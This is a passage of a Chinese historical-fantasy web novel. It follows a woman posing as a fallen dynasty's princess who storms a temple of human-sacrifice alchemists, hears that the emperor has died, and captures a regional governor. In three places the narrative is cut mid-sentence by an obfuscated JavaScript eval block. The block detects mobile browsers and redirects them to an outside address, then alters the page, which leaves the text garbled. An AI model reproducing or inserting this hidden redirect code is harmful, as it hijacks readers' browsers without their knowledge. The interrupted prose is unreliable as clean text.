身后也不消停——又一人快步冲来,晏楚鹤忙扯下那帷幔顺势蒙罩来人,再趁其视线被阻、脚步踉跄,将其绊倒于地面积液上,便可夺走那人手上剑柄。
如此惊险,晏楚鹤远超预期解决掉了——四个人,还有一个。
“左边!”是方才被她救下的年轻道姑的声音。她手还被绑着,双足却已挣脱,正竭力挪向墙角的杂物堆。
晏楚鹤闻声,立刻闪过,一道凌厉掌风已贴着她耳畔掠过。最后这位绛袍道士果真是高手。晏楚鹤不敢硬接,只绕着丹炉和帷幔狼狈躲闪。
思考,快思考。
这样考验速度反应力的躲闪,她不知道还能坚持多久——体力在刚刚的追逐和爆发中已经枯竭。
好在有人保留了力气。
晏楚鹤正绕着,只见一物向这绛袍道士袭来!是那年轻道姑,她一直死死盯着战局。而绛袍道士显然没把道姑当回事,随意地躲闪开——就是此时,晏楚鹤最喜欢抓住片刻的破绽偷袭。
她携着全身力气将夺来的剑转刺为横劈,拐着弯砸在那人一直稳当的下盘!
“咔嚓!”骨裂声清晰响起。绛袍道士惨嚎一声,便一并倒下。
晏楚鹤踉跄一步,以剑撑住地面,压下喉头翻涌的腥甜,迅速回身割断年轻道姑腕上绳索:“还能动的,先跟我走——怎么了?”
难怪这道姑是这次炼丹的主药,她露出的一双眼极为好看,眸色清浅,似含着秋水悠悠,此刻却盛满惊惶,波澜起伏。
“外面还有别的人?”晏楚鹤又问道,这道姑闻言用力点头。晏楚鹤便将她护在身后,侧身靠向小门。守在门口的黄袍道士早已察觉不对,正要挺起长枪破门而入。
借着他的突进,晏楚鹤得以看见外头,这道冠的真面目——露天长廊向两侧延伸,竟是数间相似的紧闭房门。恐怕,里头还在举行着这样的仪式。
目的,受益者,不只有景安帝。
贵族们早厌了寻常消遣,将这活人丹鼎视为最刺激的杀人游戏。商人愚昧重利,信道士的谎话,为这道观白白投了太多真金白银。百姓无奈,要么是因这赋役天灾不得已用肉身抵债,要么是被欺骗在这道观修行有夺胎换骨之效,能使人精力倍增,获得奇异天赋——无论如何,大多数人最后都成了这丹药的材料。
上行下效。这便是景安帝所推崇的佛道盛世。
她咬牙起身,正欲格挡,那道士前冲的身形却陡然僵住,随即直挺挺向前扑倒,晏楚鹤定睛一看,他背上竟突然多了支羽箭。
顺着望去——不远处的城墙上,一道橘红骑装的身影收弓而坐,那马儿还踏着碎步,可不就是谢飞藿!她竟然箭术这般了得!
不仅如此,喧嚣声自道观外涌入,莫少隆一马当先闯了进来,速度比晏楚鹤还要快上几分!他身后,便是穿着各异的‘百姓’,一个个悍勇异常,打法野性狠辣,如决堤之水涌入——那些道士顾着逃命,哪里还有空再去杀那些灰袍道士。
偶尔有一两个自以为聪明的,顺手抄起近旁道姑充作人质,不等谢飞藿拉弓,自有人先一步出手。
晏楚鹤背倚门框,直觉气血翻涌。她对那些妖道生不出半分怜悯,现在满脑子都在反复估算这伙前朝残党的实力——一次又一次远超她的预期。
难怪,
难怪路斐将其视为心头大患。
……
“梁夫人,那边那几个黑衣人是?”赶到道观的沈昱向正在歇息的梁裁问道。
“那群追着公主的探子,只活捉到一个,”梁裁喝了口酒提神,又道,“已经确认是剑南节度使的人。”
晏楚鹤静立一旁,只见莫少隆大步走向那被缚的黑衣人,心念转动,他方才把那几个妖道统领当场杀了,此刻应该不至于要再杀什么人以儆效尤吧?莫不是要逼供榨取情报?总不至于是温言劝降吧?
她正猜着,却见莫少隆拎起那人头发,迫使其狼狈地仰头:“你的主子,是想要告诉狗皇帝我们宥人的消息?尽管告诉他好了!
永宁公主已在蜀地立旗,大宥遗老尽数归附,广招贤士。前朝遗孤,永宁公主带着大宥遗老在蜀地复辟,让他在大夏宫里把脖子洗干净,等着吧。”
一旁的梁裁并未出言阻拦,她显然也同意了,只挥手让人把那黑衣人带出城。
晏楚鹤自然是吃惊的,就见莫少隆已经朝她走道:“公主,今日为了营救
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959896|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你,我们已经调动潜伏在雅州的所有人,将此地官员、衙役一并控制。”
莫少隆难得一次性说这么多话,“如今四方烽烟已起,时机稍纵即逝。兵贵神速,是以,臣方才擅作主张。此时举事,确为良机。”
晏楚鹤眯着眼,看来这些前朝领袖暂时达成了一个共识。他们不能失去她这个‘公主’,无关真假。
“那——”晏楚鹤刚欲开口,被呛得咳嗽两声,肺腑间火辣辣地疼。
“公主有什么命令?”
晏楚鹤抬眸,目光掠过众人:“我的第一道命令是,肃清雅州,此地内外杀人妖道,劳莫先生带人将这城内城外妖道一个不漏,全部拿下。”
这作为宥国复辟的第一步,再好不过。
——
如今,河北三镇拥兵自重,却是自己打起来了。关中节度使占据要道,为人沉稳,最为棘手。江淮节度使以贿赂与左右逢源闻名,这几日倒是被起义的百姓所杀。
诸如此类,天下大乱,放眼四方,只剩下已经反了的,和随时准备反的。
晏楚鹤所能做的,便是抓紧时间,稳住新生的宥政权。
雅州本身治理算不错,他们接管得异常顺利,原先官吏若是没问题的,若是愿意为宥做事的便留下了,在原先的官位上抬几品,不愿意的,晏楚鹤也不为难他们。
至于蜀地其余州郡,她暂未急着宣扬复辟故国的名号,而是声称自己是大宥遗孤,暂居蜀地,愿意庇护流民,开仓放粮,就像她先前在春州做的一样。
揽民心,还需拢住下属的心。她的权位全靠宥国公主的身份,这前朝领袖哪一个都不可或缺。她同众人商量后,以公主的身份,又用那玉玺盖章,莫少隆为总领军务兼训将士;梁咸、梁裁分掌钱粮、人事;谢飞藿领斥候、驿传与骑射;沈昱主刑名,专理冤案。他倒是目前硕果颇丰,引得无数人前来。
还有那侍女,她那日疑心晏楚鹤走路姿势过于利落,不似永宁公主幼时习惯。见她了解得极为清楚,晏楚鹤只好和她坦言——坦言自己在落水后什么心性转变,至于身上的胎记之类的,也推说伤后留痕。毕竟救命之恩在前,侍女也没什么话说,现在正在谢飞藿手下专心为晏楚鹤办事。
再说那妖道。蜀地多山,多道观,自然也多邪道。她在上次的事件后便由此入手,将附近道观查了个干净,该罚则罚,该毁则毁,为民众先揭穿道观真面目,在免除礼佛税,一时间虽雷厉风行,但确实民心所向,引得其他起义军效仿,甚至有直接带人来投靠的。
说回那道观,先前她同莫少隆谢飞藿救下的那批灰袍女道士,其中竟意外有不少能人。擅格物者,以油脂、碱、香料制出洁净去污的怪石,起名为“香皂”,更有真通药理之人,被编入医营,参与时疫救治。女学一事,更是晏楚鹤开个头,划了个地方,这些女道士就自己做起来了!
这下,拉拢刘霜清的筹码都有了。当然,攻入洛阳的目标目前来看还太遥远,眼下不过半个月,她也才刚刚平定雅州附近山匪。
这日,晏楚鹤与几人商议:“景安帝刚派人收复燕州,此刻正疲惫,用兵必择弱者。”她对着舆图分析道,“大宥新立,虽然名声已经在外,但远在蜀地,景安帝不至于这么蠢……”
梁裁点头赞同,她作为晏楚鹤来之前的话事人,短短两周时间内已经基本认可这位公主。庞老人也没什么意见。沈昱精于探案,在这方面并不擅长,亦觉有理,只补充了几处需防的纰漏。
晏楚鹤正继续分析着,突然听到声难听的笑声,众人侧目,是莫少隆。
“莫将军在笑什么?”
“公主当年年幼,恐怕不知道那狗皇帝最害怕的,便是我们宥人。”
31. 肉食三十万
窦徐幼时,这天下尚且是那宥国杨氏的疆土。他的家族,不过是僻处一隅的藩属。
后来,是他父亲,上任夏朝国军拥兵自重,在入京进贡时手刃宥帝,更与内应里应外合,将闻讯赶来、欲护御前的忠良之臣屠戮殆尽。
他筹谋多年,待内部腥风血雨一过,便只需要对外宣称宥帝自知失德,愿禅让天下于大夏,将一切反抗与质疑的,统统打为前朝余孽、乱臣贼子,把那些恶名,敛财、暴政、冤狱全扣给他们。
这便是大夏称霸天下的开端。
不过,大概是手中鲜血太多,他父亲没来得及坐稳那张龙椅便撒手人寰,登基的人,成了刚满三十的太子,即,窦徐本人。
年少时,他同路家、王家、刘家的青年才俊确实有些交情。路勤礼便是最特别的一个。二人总角相识,同窗共砚,于灾年分离,至他登基才重逢。路勤礼同其他儒生一样被新生的大夏招揽,是他窦徐发掘的第一个人才。
路勤礼出身的世家门楣中落,窦徐便亲自为其择选高门贵女为妻,又在朝中屡加超拔,年少的情谊加持下,换到了一份事无巨细、呕心沥血的辅佐。
直到那一日。
他记得是个寻常,有些闷热的夏日午后,暴雨将至,他便赶着逼着道士将今日的活人祭祀快些做完——一切都是为了消除那宥朝玉玺上的诅咒——他父亲死的那样凄惨,定是宥国鬼魂作怪!谁料路勤礼那日竟疯了般闯进来要阻止,还当着他面,将那方前朝玉玺砸了个粉碎。
他再也没有研究诅咒的机会了!
他不想死的那样惨!他不想放弃这些权力富贵!他同所有帝王一样渴求着长生的到来。
他是天子,万民供养,用几个草民的性命换帝王安康,有何不可?路勤礼竟为此与他置气!
……
一晃,已经十年了。
说来,为了包装自己的仁心,他当年把那杨氏夫妇的次女留下封为永宁公主,这丫头本应该死在和亲的路上,谁知竟活着,还同前朝有联系存了反心——当年就该狠狠掐死她才是。还有老王,他连个丫头都杀不死,难怪自己也死在吐蕃人手里。
这么一想,路勤礼的可靠叫他很是怀念。佛骨一事无关痛痒,他对老路……确实有些过了。念及路勤礼到死仍在为他剿杀前朝,临终还献上丹药方子,即便是景安帝窦徐,心底也有些异样的情绪。
他的目光落回殿中。满地的尸体让他萌生的那点异样情绪全然消失,鲜血的味道在喉头弥漫,唇齿间发散,这些丹药,再也给不了他初时的极致欢愉。
没一个比得上窦怀谦的血。
……
他需要更多。
——
雅州,
探子带回的消息令气氛凝固,远在洛阳的景安帝选择挥师南下,圣旨已传檄沿途——诏令关中、山南、乃至剑南诸镇节度使,务必输粮助兵,合围蜀地,讨伐“伪宥”。
坐在晏楚鹤下首的谢飞藿忍不住倒吸一口冷气,往案几上重重一拍:“他竟真的不顾一切,先打过来了!”
“莫先生判断是对的,”晏楚鹤面上沉静,这恐怕是景安帝能调动的所有兵力吧?居然全拿来对付她,聪明,太聪明了。
北疆突厥虎视眈眈,西陲吐蕃新败犹恨,宫中有刘贵妃野心勃勃,朝堂上世家大族盘根错节,各地节度使早已形同割据……如此危如累卵,他竟选择绕路万里,不惜代价,远征蜀地。
“传令下去,”她站起身,声音清晰而决断,“即日起,雅州戒严……一日三练,不得有误。”
她是对蜀地群山最熟悉的人。上一次在这里,她曾作为大夏的臣子击退了吐蕃;这一次,她要在这里赢过大夏。
——
京中自然也有和晏楚鹤作同样想法的人。
“陛下!远征永宁,恐非上策啊!”新任的皇后跪在阶下,声音发颤,“且不说她只是据守一隅,我军若是千里绕行,关中节度使,剑南节度使等拥兵自重,随时可以断我粮道!且那些方士所言……”
“你懂什么!”景安帝的怒吼暴躁地将劝诫打断。丹药让他的身体重现旧日的体能。他一把将皇后掀倒在地:“真正能害死朕的,只有那些宥国人!”
他厌恶地挥手,命人将皇后拖下去,一白发道士见了,这才从殿外进来,又上来了,恭敬垂首:“启禀陛下,昭宁公主已经上套,正在殿前等着,火候也备好了,只待陛下亲临主持。”
这是他如今的心腹仙师,于千百杀人妖道中脱颖而出的存在。一想到能再次品尝那特殊的丹药,景安帝喉头滚动:“慢着,你来的正好,联络关中、山南诸镇的事,务必办妥。他们要赋税,要官职……朕统统准,朕只要他们办好一样事——
踏平蜀地,除掉永宁!”
——
晏楚鹤不敢坐以待毙,她抢先一步同剑南节度使,关中节度几人来往。景安帝既然这样忌惮宥国,必会打起十二分精神,想出些平日里想不到的非常计划。
果然,那几位节度使向她透露了景安帝许诺的好处,晏楚鹤是没办法做到那样剥削百姓的手段,也没有多余的物资。但这些人愿意向她透露口风,无非是因为她已展现出足以与此抗衡的筹码。
他们在“永宁公主”身上,看到了扶持前朝遗孤,名正言顺助其登基的机会。
历代权臣谋反前,多爱扶持傀儡皇帝以揽权。何况前朝只剩下的永宁是个女子,那从她的夫婿下手,更加容易。
这样的诱惑下,这些节度使只要有一个动心了,她所要面对的朝廷军队便会弱上几分。
如她所料,
不日后,那支奉命前来平定伪宥的军队,在一路不断遭受起义军袭扰后,竟已只剩下一支百来个道士打头阵。
晏楚鹤亲自上了瞭望台,将这一景象看得真切——又是道士,配上蜀地群山那缭绕的薄雾,不知道的还真以为是蓬莱仙境。
这些人坚持到这里,也是被景安帝逼迫的可怜之人。晏楚鹤心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968177|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中了然,倘若她势弱,连这些道士都应付得吃力,那他们后面的其他人——节度使的耳目,景安帝的残兵便会乘势而上。
可若她势强,耳目们会带着情报全身而退。至于这群道士,只能是弃子。
他们手上的刀剑质量上乘,看起来战力参差不齐,但队形松散、气息紊乱,一眼便知战力参差不齐。方阵最中央有人正在起坛作法,长幡林立,符纸飞舞。晏楚鹤精通土石,一眼看出关键在于那中间的引雷石。
借天象强行造势罢了。
晏楚鹤不想暴露实力给任何人。她太清楚信息的重要性,于是便清了清嗓子,同身旁的梁裁对视一眼,那是赞同的目光。
晏楚鹤定了定神,朝山脚朗声道:“诸位皆是修行之人,本当护持正道、庇佑苍生,何苦为昏君所驱,作此无谓牺牲?”
她尽可能大声的同时,保持诚恳——像是历史上的贤君——她脑海里闪过窦怀谦平日端方持重的模样。演惯了奉承皇帝的小人,晏楚鹤还是第一次当着这么多人演这样的角色。
“景安帝无道,天下离心,诸位走到这里实属不易,你们心里自然都应该清楚——你们所依仗的引雷之石在我蜀地并非稀罕之物,至于其他妖术,孤亦一清二楚。”
城下一片死寂,旋即被抑制不住的骚动与低呼打破。原就神经紧绷着的道士立刻开始溃散。晏楚鹤又道:
“孤知诸位必有苦衷。诸位当中,若有亲人在景安帝手里,恐怕已遭不幸,试问大夏宫已有多少年未见活人安然走出?皇帝是杀死你们亲人的真凶。
而诸位中本身向道之人,则更为可悲,你们如今助纣为虐,已与道教本义相悖。
……我宥城中粮草充足,百姓安居,诸位若愿弃暗投明,孤必以礼相待,既往不咎。孤无法许诺人人平安终老,但孤立誓,要以此身涤荡乱世,还天下海晏河清——以此玉玺为证。”
她自怀中取出玉玺,高高捧起。
先前,她利用山谷地形传音,又有亲卫由近至远一句句复诵。现在已经没有这个必要了——山谷一片阒然,所有目光,皆聚焦于她手中那方莹润之物。
那玉材质特殊,在阳光下灼灼生光,华彩流转——她的动作竟刚好撞上云开雾散。真是难得运气好一回,得老天相助。
“天意!此乃天意啊!”惊呼声再也抑制不住,如涟漪般在人群中荡开。
……
晏楚鹤城下收尾事宜皆安排妥当,方才返回府中,仍旧不敢放松。强弩之末的军队,未及交锋,便已土崩瓦解——谁也不知道景安帝的下一步计划会是什么。
他似乎打算把所有底牌都用在她身上。
案头又堆起数叠亟待处理的文书与信报,望之便觉千头万绪。她揉了揉眉心,正欲坐下理清思绪,一份密封的急报被亲卫快步送入,置于所有信件的最上方。
是武昌侯的印章——晏楚鹤轻车熟路地拆开,蓦地一滞。
【景安帝于今晨,暴毙于宫中。】
32. 猎射起黄埃
半旬后,雅州府衙内与这初夏天气一般,凝滞中隐着躁动。
晏楚鹤穿着淡色的圆领窄袖袍,坐于北面主位。对着张梨木大案,摆了些舆图、信件之类的文书。
众人分坐东西两侧,座次亲疏与职司一目了然。为首的,一侧是梁裁与其夫梁咸,另一侧空着,莫将军今日有要事在身缺了席。
“公主,大宥玉玺现世一事已传遍蜀地,景安帝又于今日暴毙、京城大乱,各地蛰伏的前朝旧人与义士纷纷来投奔。今日又到了一批。”梁咸恭敬地禀报着。
既是梁裁夫妇认识的人,身份应当可靠。晏楚鹤微微颔首:“劳您务必妥善安置……眼下粮草可还充足?”
一旁被熏香整得犯困的谢飞藿突然来了精神,抢着回答:“自从您说服邛州太守后,加上先前的眉州,嘉州,我们坐拥四州,粮草并不是问题!莫将军更是言取下南部几州易如反掌,”她越说越振奋,眉眼飞扬的样子显然极为高兴,“您在春州得到的时疫方子如今极为有效,投靠我们的人数还在增加。照这势头,攻下益州指日可待。”
晏楚鹤微微笑着,看向她,温和地解释着:“益州如今疲敝内乱,攻下自然是迟早的。只是那地方关键,盯着它的、想入局的不止我们。”
程昱深以为然:“殿下明鉴。这益州原是京中高官兼任都督,由固定的那位都督府长史统筹剑南道各州,只是早前,便有个地方豪族被提拨为这剑南道节度使分权——如今狗皇帝一死,这两派便斗得不可开交,全然不顾百姓死活。”
见晏楚鹤一脸思索,梁裁猜她对那二人知道的不多,便放下把玩的手串,接话道:“毕竟那两人本就分属朝中保守、主战两派,都把益州看作命脉,彼此制衡了这么多年,自是结下太多恩怨——卧榻之处,岂容他人酣睡,这退一步,便是将自己的身家性命拱手相送。”
梁咸听了夫人这番话,若有所思地捋着胡须,那是副惯常优柔寡断的儒生姿态:“既如此,我们何不趁此乱局入内,收揽民心?此时想来正是时候。”
“不可,万万不可。”沈昱连连摇头,手指敲着案上文书,“益州长史与那剑南节度使,皆是敛财有术、经营多年的蠹虫,底蕴深不可测……贸然入局,恐怕被他们合力攻击,只怕会引来二人合力反扑,得不偿失。”
“沈卿所言在理。”
“殿下除此之外,又有何高见,”方才还笑着的谢飞藿突然站起身,脸上笑意已转为难掩的焦灼。她常年来往于蜀地,太清楚益州的重要性了。若不能拿下这处中枢,他们占据边缘数州,终究是他人砧板上的鱼肉。
其他节度使的兵力可不是景安帝那样开玩笑的。
她焦急地看着晏楚鹤,她相信,自己虽然和这位殿下刚重逢不久,她虽然变了好多,但如今的她,有着说服其他人的口才,对蜀地如同刻在灵魂里的了解,对于百姓真正的同理心,简直是被天眷顾的神明,她一定有方法。
晏楚鹤愣了愣,这谢丫头站起来未免太高了,她忙起身正打算安抚地做些什么,却见在座众人一齐跟着起身,委实吓了她一大跳……她还是不习惯自己的主公身份啊。
“殿下的意思是,且再等等?”“是了,是我等太心急了。殿下神机妙算,必是已窥见后势。”
?她啥都还没说啊。而且她一开始不就是这个意思啊!晏楚鹤面上维持着淡定:“诸位能和我想到一样,我心甚慰。
益州,确实重要,也确需等待。然而,士兵们久不征战,锐气易堕……我们的目光需得先暂离蜀地。”
“可是西边蕃族?”那梁咸这时反应莫名地快起来,原来是到了他的强项,“您和谢姑娘祖上有过蕃人血统!我竟然现在才想起来——”
他未说完,便被谢飞藿没好气地打断:“梁先生,那已经是大宥正繁荣时的事,同我至少隔了两三代人。”
“确是如此,”晏楚鹤接过话头,语气平和却将议题稳稳拉回,“血脉一事已稀薄难凭,便非上策。孤之意,在于岭南。”
她随手扯出下方那张岭南道舆图。若论对天下的了解程度,她自认是蜀地第一人,京城百事通,除此之外,便是做春州太守时对那岭南道还算了解。
“那岭南节度使似乎存了拥护前朝公主为傀儡,挟天子以自重的心思,屡次来信要见孤。既如此,便将计就计,虚与委蛇,待时机成熟,再里应外合,来回夹击——”
“夹击?”
——晏楚鹤对于亲自去见岭南节度使一事,也算筹谋已久。那岭南节度使姓程,从前是分封到广州的宗室义子,春州如今正在其辖下。
岭南,自古被视为瘴疠之地,湿气深重,山峦层叠,交通闭塞,与中原核心地带隔绝。不过,晏楚鹤基于自己在春州的细致考察,近年天灾频繁下,偏安一隅的岭南反而受创最轻,若致力于海路发展,自会商贸不绝——敛财积富的机会实在太多。
这位岭南节度使安于这方天地,倒不像其他节度使般四处征伐扩张,对晏楚鹤也始终示好。若其真无野心,此刻要么该发兵来攻,要么就该遣使投诚。她如今来信看着言辞恳切,字里行间邀她梅州一聚,背后目的可不就是要以她为傀儡,行那“挟天子以令诸侯”之事。
晏楚鹤若不敢来,便是实力不济,迟早被他人吞并,他不如先下手为强;若她敢来,则正中下怀。
选哪个呢,晏楚鹤既是有意让这节度使起这个念头,可不得遂他的心意。
——
数日后,
梅州
“永宁殿下竟然亲临此地,真是失敬失敬,”三十多岁的八字胡男子,衣着华贵,撑着头坐在上首,由着府丁领着晏楚鹤进门入座:“在下还不知道公主的名字。”
他紧紧盯着晏楚鹤。
晏楚鹤低着头,她不用掩饰自己的局促,轻声道:“孤,孤名叫昔——”
“我家殿下尊姓杨,名脩。”谢飞藿抢先开口,语调清亮,眉眼间自带的张扬傲气,倒衬得她更像此行主公:“窦使君既是邀请我家公主前来,礼数总该周全。这酒水粗淡,膳食简陋,便是岭南待客之道么?”
“哎呀,是在下疏忽了!”程节度使笑着拱手,目光在二人之间打了个转,“诸位太过低调,下人们还以为是寻常来投奔的。这位姑娘英气逼人,不知是——”
“我便是宥朝谢氏之后,公主麾下羽骑校尉,谢飞藿。”
“啊,久仰久仰,谢校尉竟也同行,真是意外之喜。”
是啊,晏楚鹤怯懦地点头,说服前朝的合作伙伴们确实费了点心思,不过,最后莫少隆和谢飞藿俩人都陪着她。
“不知道使君邀孤远来,所为何事?”
“自是共图大业。”程节度使笑容可掬,“两家合一,我岭南愿归附宥国。说来也巧,程某膝下有几名义子,皆品貌出众不输谢姑娘。公主若有意,可随意择选,也好延续宥国血脉啊!”
“这,”晏楚鹤憋笑憋红了脸,“这怎么好。”
“哎呀,您这笑意可都藏不住了。宥国江山还等着您传宗接代呢。”
晏楚鹤装着要接话,眼神却怯怯飘向谢飞藿。谢飞藿立刻会意,扬声开始表演:“你这岭南之地能有什么好男子,先送到我府上,我替公主把关一番。”
这回轮到这程节度使迟疑了,他原现就猜测这位公主大概是前朝什么梁家谢家操纵的人偶,如今一看,她身边一个女将竟也这般跋扈——心下不由又喜又忧:喜的是这个公主看来比传闻更易掌控;忧的是想掌控她的势力似乎不少,自己还得多费周章。
念头一转,他已然定计——攻心为上,他要做这落难公主心里的救命之人,再造恩师。
“公主既允程某附翼,自今日起,岭南诸州事务,皆可交由公主定夺!”他忽然郑重躬身。
第一步,给她尊重,予以权柄,让久在人下的傀儡体验下“当主公”的假象。
不等晏楚鹤拒绝,程节度使忙道:“前些日子,臣在两道交界处拿住一名探子,系江西节度使、江南西道周老儿所遣。不知公主以为,当如何处置?”
无非那几种罢了,严刑拷问、放生、怀柔感化,晏楚鹤却故意拖长了语调,装着懵懂:“他——可做了什么?”
“江西周老儿野心勃勃,派来的还是位贵族才俊,身上赃物颇多,所图自然非小。”
“噢,噢,”晏楚鹤第一次演傻子,她是照着王皇后的儿子演的,简直不要太合适,“那便将其关起来,”
谢飞藿见她拉长音调,忙按自己的经验抢答:“我家公主的意思,是关起来细细拷问,或可留作人质换些钱财。”
“是在下愚钝,公主果然思虑深远!”程节度使从善如流地笑道,“可惜,臣已先行处置了。”
“使君如何处置?”
“臣已命人,将那名贵族子弟——杀了。”
他微微一笑,成为公主的“义父”,第二步,便是给这位公主足够多的“学习”。
他引晏楚鹤登上城楼。莫、谢俩人紧随其后,晏楚鹤自己虽心中惕然,但还算有全身而退的自信。
“公主请看,河对岸是何地界?”他指向远处苍茫山峦,那是梅州与赣州交界之地。
晏楚鹤心知肚明,目光却故作懵懂地四下一扫,几处怪异的土丘,她心中恍然,面上仍是困惑:“使君这是何意?可是那河对岸的周节度使要打过来?”
“不杀那探子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986956|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有不杀的好处,但他的身份不止是探子,杀了他足以搅动战局,借此为由,趁其不备,迅速开战拿下赣州。”
说是如此,到底是师出无名,骤起兵戈,对岸百姓必生抵触。赣州人又以刚烈著称……晏楚鹤刚想到这,便在对方眼里确认了答案。
“非常之时,行非常之事。”程节度使语气平淡,“我这把年纪,更是清楚,古来豪杰如白起曹操,哪一个不是用钢铁手腕镇压……”
这番话声音极大,在场所有人敢怒不敢言。谢飞藿更是心头一震,
她自幼便听过宫中太傅教导,读史非为效仿酷烈。白起坑卒,得地而失人心;曹公屠城,得势而损大义。
屠城,
它并不只是表象的残暴。周边尚未攻克的城池也会连带着被威慑,反抗的意志会被瓦解——大量降卒和敌对民众再也无法成为潜在的叛乱源头。彻底、无秩序的洗劫会为新政权带来充足的补给,与难以动摇的威慑。
谢飞藿亲眼目睹过——她是在屠城中活下来的幸运儿。
怒意压过了恐惧,眼前这高谈阔论着地狱之景的家伙,却是个大腹便便,常年享乐的富贵使君。谢飞藿反而觉得更让人难以忍受了,这些人还要草菅多少人命?她一时间竟也有些晕眩,忍不住去想这人话里凄惨的景象。就在这时,她听到了一声极轻的抽气声。
“嘶。”
来自那位她幼时失散于浩劫中的主公。
谢飞藿的注意力瞬时被吸引过去——晏楚鹤仍看着程节度使,手上却摩梭着腰间玉佩,谢飞藿认出暗号,理智也渐渐找回。
之后的对话她也没听进去多少,只顾着跟随自家公主下城墙,用晚餐,赏观美男,觥筹交错。那程使君醒了酒,还在同她家公主说些恼人露骨的恶心话。谢飞藿只当是喷粪,全神贯注于晏楚鹤的所有动作。
终于,那玉佩被以特定的角度紧紧攥住。
积蓄已久的厌烦得以释放,谢飞藿手中寒光乍现,那程节度使还没反应过来,只觉得右臂一轻,竟是脱身而去,只剩喷涌的赤红。
“你……你们……”他脸上的错愕被剧痛压倒,这些人怎么敢?!他分明搜过身,这女贼哪来的刀!
亲卫惊怒扑上,但晏楚鹤的动作更快,她将程节度使牢牢控在身前。
“孤乃宥国永宁,岭南节度使今日摆宴,已是叛夏归宥,谁敢伤孤!”晏楚鹤的声音清越激扬,压过满堂惊惶。她手中高举的玉玺在染血后透着生动,如戾龙在渊般的暗红光泽。
一时间的威慑果然惊人。四周骤然一静,这位程使君现在眼里全是不甘、惊奇、愤怒。
这公主,你说她演得好,装得怂,他没看出来,棋差一招,他程某人认了。要么别演直接给他个痛快,要么便演到尾!哪有像这位演一天就砸场子,惹人误会!叫人白费功夫。
恶恨的咒骂被堵住,变成破碎的“嗬嗬”声。
尽管如此狼狈,但他麾下军队的很快就会冲进来,将这些宥国人全都撕碎!
同样意识到的还有谢飞藿,怒气一消,她猛地察觉到之前所忽视的——脚步声、甲胄碰撞声、人群的窃窃私语如同洪流般逼近。
人数远比明面上看到的要多。
而宥军主力虽已埋伏在城外,算时间,恐怕远水难救近火。
过去这些时日的相处,谢飞藿深知自家公主虽常行险招,却最是惜命周全。偏偏今日,误判了这程节度使的兵力?
要怪还得怪她,被冲昏了头。谢飞霍挥着短刀格挡亲卫,一面想起梁夫人来前的叮嘱,顿生愧意。她必须思考对策——如今这情形,她大概是死定了,这节度使在手,公主说不定还有一线生机。
“殿下?!”谢飞藿正想着下一步,见晏楚鹤手臂高高扬起,不由得呼吸一滞,挥刀的手都慢了半分——那程节度使竟然被她随手搡倒在地!
啊?不要人质了?!谢飞藿错愕地等着自家公主的指令——如今目之所及皆是敌兵,跃动的火光近在咫尺,那些亲卫更是不怕死的一哄而上,而她家公主——似乎很享受这番应敌的感觉,甚至露出了笑容。
那绝对不是将死之人的笑,而是年轻人常常挂在嘴边,近乎狡黠,带着松弛的笑。
谢飞藿心头疑窦丛生,顺着晏楚鹤频频看向的方向望去,不知何时被打开的大门外是各种纷乱人影,只见远处——火光下,一片森然肃穆的玄甲。为首一骑疾驰,马背上那人身形挺拔如松,玄甲黑袍。他身后是不知何时运到这梅州城镇内部的军队,竟稳稳压住了程部。
谢飞藿有些恍然,这和出发前,公主描述的身形作派都对上了,
“此人,想必就是那个叫路斐的奸臣了。”
33. 隔河忆长眺
“此人,想必就是那个叫路斐的奸臣了。”谢飞藿惊觉自己失言,自家主公可是和那路斐交情匪浅,她立刻抿住嘴悄悄看向晏楚鹤——晏楚鹤嘴角微扬,并无半分不悦。她正专注地观察战场。
局势变化极快。谢飞藿已经跟着公主将主将挟持住,莫将军带人在城外阻断援军,而这位路斐则是如他先前承诺的一样,暗度陈仓,梅州已然处于他们的掌控中。
细想来还是不可思议,公主这些年在外,居然会结交这样的人物。
谢飞藿想起出发前的那场讨论,公主和沈昱第一次提到路斐时……
“夹击?”
“正是夹击,”替公主解释的工作又被沈昱主动揽下,“诸位可记得那武昌侯,他如今有意合作——”
“武昌侯?那路斐小儿?公主觉得此人可信?”庞老人闻言看向晏楚鹤,见她神色认真,不由得失笑,意沉吟片刻后,道,“想来是公主在春州时,估计受了那人不少恩惠吧。”
梁咸也坐不住了,路斐的名声从前有多恶劣他也有所闻,捋着胡子道:“那人出身大夏世家,靠着其父的惨死换了官位。此前不过是个不学无术,周游天下的纨绔子弟——可是那时同公主有往来?殿下,此人不可轻信啊!”
